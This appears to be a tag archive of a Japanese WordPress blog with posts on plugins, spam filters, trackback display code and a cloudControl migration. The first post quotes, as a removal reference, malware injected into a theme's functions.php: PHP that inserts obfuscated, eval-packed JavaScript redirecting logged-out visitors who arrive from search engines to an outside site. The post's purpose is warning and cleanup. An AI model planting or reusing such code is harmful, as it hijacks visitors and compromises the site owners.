Tag: WordPress’

WordPressを狙ったマルウェア “JS:Redirector-MR [Trj]“

 - by Don

名前これで合ってるのかわかりませんけど…。

@yusura さんのブログ「青はココル」(あえてリンクは張りません)がマルウェアに感染していた模様です。「サイトにアクセスするとAvastがJS:Redirector-MR [Trj]というトロイの木馬の警告を出してきます」という連絡があったそうで、実際に怪しいコードが埋め込まれていました。

青はココル

青はココル

動作としては、「ページが表示された数秒後にアダルトサイトにジャンプする」ということが確認されたそうですが、他にどんな影響があるかわかりません。上記の現象を確認した場合は、念のためウイルススキャンを実行し、サイト管理者の方は自分のサイトが改竄されていないかご確認頂いた方が良さそうです。

「青はココル」は現在、下記の記事を参考に埋めこまれたスクリプトを削除した上で、メンテナンスモードになっております。

使用してるテーマのfunctions.phpの一番最後に、

<?php
add_action('get_footer', 'add_sscounter');
function add_sscounter(){
echo '<!?scounter?>';
if(function_exists('is_user_logged_in')){
if(time()%2 == 0 && !is_user_logged_in()){
echo "<script language="JavaScript">eval(function(p,a,c,k,e,r){e=function(c){return(c<a?":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!".replace(/^/,String)){while(c?)r[e(c)]=k||e(c);k=[function(e){return r[e]}];e=function(){return'\w+'};c=1};while(c?)if(k)p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k);return p}('e r=x.9,t="",q;4(r.3("m.")!=-1)t="q";4(r.3("7.")!=-1)t="q";4(r.3("8.")!=-1)t="p";4(r.3("a.")!=-1)t="q";4(r.3("f.")!=-1)t="g";4(r.3("j.")!=-1)t="q";4(t.6&&((q=r.3("?"+t+"="))!=-1||(q=r.3("&"+t+"="))!=-1))B.C="v"+"w"+":/"+"/A"+"b"+"k"+"5"+"h."+"c"+"z/s"+"u"+"5"+"h.p"+"d?"+"t"+"y=1&t"+"i"+"l="+r.n(q+2+t.6).o("&")[0];',39,39,'|||indexOf|if|rc|length|msn|yahoo|referrer|altavista|ogo|bi|hp|var|aol|query||

er|ask|sea|ms|google|substring|split||||||ea|ht|tp|document|||go|window|location'.split('|'),0,{}))</script>";
}
}
}
?>

今回はこんな文字列が埋め込まれてました
参考になさってください。
テーマの編集で削除し更新でOKでした。

おまけ

WordPressを攻撃対象としているみたいですし、このサイトもWordPressなので一応確認してみましたが、大丈夫でした。

ついでに、伺か関係でWordPressを利用していると思しきサイトを幾つか見てみました。(2012-03-25 現在)
以下のサイトは大丈夫のようです。

以下のサイトは500 Internal Server Error となっていました。まさか、PHPが改竄されて…とか考えるとちょっと心配です。(リンクは張りません)

  • アヤチノオト

参考

WordPressでトラックバックスパム対策 in 2012

 - by Don

昨年末あたりから英文のトラックバックスパムが来るようになってしまいました。その対策のために導入したWordPressプラグインをご紹介します。

Simple Trackback Validation

検索でヒット率が高いので導入してみたトラックバックスパム対策専用プラグイン。仕組みは、トラックバック元のサイトに自サイトへのリンクが張られていない場合はSPAMとみなす、という単純なものです。これだけでもかなりの割合のSPAMを弾けるのですが、律儀に自サイトへのリンクを張ってくれているSPAMは弾けません。実際にそういうSPAMも来ています。

また、最終更新日が2007年というのも不安要素です。一応、WordPress/3.3でも動いているようですが。

Throws SPAM Away

日本語を含まないコメントを弾く、コメント専用SPAM対策プラグイン。…でしたが、バージョン1.5からはトラックバックに対しても同様の規制が可能となりました。さらに、Simple Trackback Validationと同様に、自サイトへのリンクによる言及がないかチェックする機能もついています。というわけで、Simple Trackback Validationは無効化してThrows SPAM Awayに移行してみました。

実は、トラックバックスパムへの対応は私がThrows SPAM Awayの作者様に検討をお願いしていたものなのです。お忙しい中、要望に応えて頂きました製作者のさとう様に、この場を借りて御礼申し上げます。ありがとうございました。

WordPressで英文スパム対策 in 2011

 - by Don

一昨日あたりから急に英語のSPAMコメントがわんさかやってくるようになりました。開設当時にSI CAPTCHA Anti-Spamで画像認証付けていたので大丈夫だろうと思っていたら見事に破られました。最近のSPAMは賢いですね。

何か他のSPAM対策プラグインを併用しようと探していて見つけたのが以下の2つ。選定基準は日本語リソースでかつ2011年に更新があったもの、です。

SPAM-BYEBYEはコメントの内容を総合的に判断する得点方式みたいです。

  1. メッセージに日本語が含まれていない場合
  2. メッセージにURLが複数含まれている場合
  3. メッセージ(又はURL欄)に含まれるURLがURLブラックリストデータベースに登録されている場合
  4. 投稿したクライアントのホストがDNSブラックリストデータベースに登録されている場合
  5. 名前欄にURLが含まれている場合

Throws SPAM Awayは単純に日本語が含まれているかどうかを検査する方式のようです。

今回は、公式の方にアップされてるということでベータ版のSPAM-BYEBYEより信頼できそうな気がしたのでThrows SPAM Awayを導入してみました。設定も単純明快で今の状況には十分効果がありそうです。

iPhone用の表示とAutoPagerize対応

 - by Don

WPtouch

WordPressをiPhone用に表示するplugin。Free版を入れてみましたが、なかなかきれいに表示してくれます。pluginを有効にするだけという手軽さで、大変気に入りました。

wptouch

wptouch


AutoPagerize対応

他のサイトでもさんざんやってきたので今更ですが、WordPress特有の関数とかもあるので軽くメモ。

single.phpはhead内に既にrel="prev"とrel="next"が入ってるのでclass="autopagerize_page_element"を適当なところに入れるだけで大丈夫。

index.phpに古いページへのリンクがprevious_posts_linkとかいう関数で挿入されていて、簡単にclassを付加できない。そこでfunctions.php内でこんな処理を走らせると良いらしい。

function my_auto_pagerize_rel_filter($content) {
    return "{$content} rel="next"";
}
add_filter('next_posts_link_attributes', 'my_auto_pagerize_rel_filter');

あとはautopagerize_page_elementやらautopagerize_insert_beforeやらを好きなところに入れて終わり。

WP Colorful Tag Cloudを入れてみた

 - by Don

WP Colorful Tag Cloudを入れてみました。その名の通りタグクラウドをカラフルにしてくれるプラグイン。色も好きなように変更できて楽しいです。
もっと色んなタグを増やして彩りを良くしたいですね。そのためにも色んなジャンルでブログを書かねば。

あとBroken Link Checkerっていうのも入れてみました。ブログ内のデッドリンクを見つけて教えてくれるプラグイン。ここは開設して間もないのでまだお世話になる機会はないですが、Webにおいてデッドリンクほど残念なものは無いので、気を付けたいところです。

Google Code Prettify for wordpressを入れてみた

 - by Don

google-code-prettifyをWordPressに適用するGoogle Code Prettify for wordpressを入れてみました2011-04-22現在配布元が404になってますねSyntaxHighlighterはやり過ぎ感があって好きではないので、他にもっと軽いハイライトモジュールを探していてこれに決めました。

preタグやcodeタグのclass属性に"prettyprint"を加えるだけで言語は自動判定してくれます。

<pre><code class="prettyprint">
適当なコード
</code></pre>

他にSimilar Postsもインストール。関連記事を表示してくれるプラグインです。Post-Plugin Libraryに依存しているのでこれもインストール。

BazaarでcloudControlにpushできないのでGitに乗り換えた

 - by Don

BazaarでcloudControlにpushする時にErrorFromSmartServerとかいうエラーを吐くようになってしまいました。
同じ症状の方がいたみたいです。-> Switching from Bazaar to Git on cloudControl
Gitに乗り換えたら動くようになったとのこと。

というわけでこちらもGitに乗り換えます。以下のような手順でやってみました。

  • MySQLエクスポート
  • SFTPで静的ファイルのダウンロード
  • アプリの全削除・Gitで登録し直し
$ cctrlapp APP_NAME/default undeploy
$ cctrlapp APP_NAME delete
$ cctrlapp APP_NAME create php --repo git
$ cctrlapp APP_NAME push
$ cctrlapp APP_NAME deploy

MySQLを忘れてた。

$ cctrlapp APP_NAME/default addon.add mysql.free
$ cctrlapp APP_NAME/default addon mysql.free
  • MySQLのusernameとpasswordを再設定して再度deploy
  • MySQLインポート
  • SFTPで静的ファイルのアップロード

無事に今まで通りWordPressが表示されました。めでたしめでたし。

トラックバックの表示

 - by Don

今日はトラックバックに関連する設定をしていました。

まずGet Recent Commentsをインストール。これはサイドバーにcommentとtrackbackを分離してウィジェットで表示してくれるプラグインです(標準ではcommentとtrackbackが一緒くたに表示されてしまいます)。

ただ、このままだとtrackbackのウィジェットのidがcommentのidと被ってしまいますのでget-recent-comments.phpの該当部分を以下のように修正。

function kjgrc_create_recent_trackbacks( $caller = '')
{
	global $kjgrc_we_are_a_widget,$kjgrc_widget_args;

	// $entries = kjgrc_get_entries($max_comments,$chars_per_comment,$chars_per_word,$format,$query,0,$caller);
	$entries = kjgrc_get_comments2('grt',$caller);
	// If we are a widget: Also care for the title
	if ($kjgrc_we_are_a_widget == TRUE) {
		extract($kjgrc_widget_args);
		$entries = $before_widget . $before_title . kjgrc_get_option("grt","sidebar_title") . $after_title .
		'<div id="get_recent_trackbacks_wrap"><ul>' .
		$entries .
		'</ul></div>' .
		$after_widget;
		$entries = str_replace('id="get-recent-comments"', 'id="get-recent-trackbacks"', $entries);
		return $entries;
	}
	return $entries;
}

次に単一記事に対するtrackback数の表示。comment数は"n comments"とかって表示されてますけどtrackback数も表示したいので。

まず、Trackping Separatorをインストール。

functions.phpあたりに以下の関数を追加。

function trackbacks_popup_link() {
	$c = trackpings('count');
	if ($c === 0) {
		$mes = 'No trackbacks';
	} else if ($c === 1) {
		$mes = '1 trackback';
	} else {
		$mes = $c.' trackbacks';
	}
	echo '<a href="';
	the_permalink();
	echo '#trackback" title="Trackback">'.$mes.' »</a>';
}

index.php, archive.php, single.phpのcomment数を表示している部分の後でこの関数を呼び出します。

しかし、このままでは肝心のtrackbackリストそのものが表示されていません。

comments.phpの最後にテーマのcommentsの部分を参考にしながら追加します。

<?php $trackbacks = trackpings(); ?>
<?php if ($trackbacks) : ?>
<aside id="trackback">
<h2>trackbacks</h2>
	<ol class="trackbacklist">
	<?php foreach ($trackbacks as $comment) : ?>
	<li class="<?php echo $oddcomment; ?>" id="comment-<?php comment_ID() ?>">
		<div class="quote"><br /><?php comment_text() ?></div>
	<?php comment_author_link() ?> on <a href="#comment-<?php comment_ID() ?>" title=""><?php comment_date('F jS, Y') ?> at <?php comment_time() ?> <?php edit_comment_link('edit','  ',''); ?></a>
	</li>
	<?php endforeach; ?>
	</ol>
</aside>
<?php endif; ?>

これでようやくトラックバックが表示されます。疲れた。

Head Cleanerを入れてみた

 - by Don

Head Cleaner

HTMLのhead内をきれいにしてくれる。これは良いですね。
<!--[if lt IE 9]><![endif]-->がコメント扱いされて消されてしまうのが惜しい。<!--[if IE]><![endif]-->は残るみたい。version 1.4.2.1にアップデートしたら大丈夫でした。素晴らしい。

ついでにテーマをいじってRSS2.0およびAtom1.0を追加。

Google Analyticsをhead内に移動。

WordPressの設定

 - by Don

右も左もわからないので他所様の設定を参考にしてみました。

WordPressでブログを作ったらまずやる26項目―SEO・アクセスアップのためのカスタマイズ | 清音のSEOブログ現在アクセスできない状態のようです。

特にSEOバリバリにする気はないけれど、閲覧者にとって見やすいことと、自分が使いやすいことに重点を置いてみます。

テーマは"HTML5"でダッシュボードから検索したらFreeDreamっていうのが引っ掛かって気に入ったのでこれに決めました。

インストール&有効にしたプラグインは以下の通りです。まだ使い方がわかってないのもあります。

  • All in One SEO Pack
  • Canonical URL’s
  • Dagon Design Sitemap Generator
  • FLV Embed
  • Google Analytics
  • Google XML Sitemaps
  • Ktai Style
  • SI CAPTCHA Anti-Spam
  • WP Contact Form III

あと、単一記事の投稿(single.php)を編集してトラックバックURLを表示してみました(comments.phpの方が良かったのかな?)。以下のコードを適当な場所に挿入します。

<?php if ( pings_open() ) : ?>
<br />
TrackBack <abbr title="Universal Resource Locator">URL</abbr> : <input type="text" name="trackback_url" size="80" value="<?php trackback_url() ?>" readonly="readonly" class="trackback-url" onfocus="this.select()" />
<br />
<?php endif; ?>

あと、テーマ自体のバグで、<article id="article"><header id="titre">っていうのが各所に見られたので、<article class="article"><header class="title">に変更して該当するCSSも修正しました。titreはtitleのスペルミスかな。

最後に「ユーザー>あなたのプロフィール」から"ビジュアルリッチエディターを使用しない"にチェック。わざわざ&quot;って書いたのがいちいち全部"に戻されて困るので。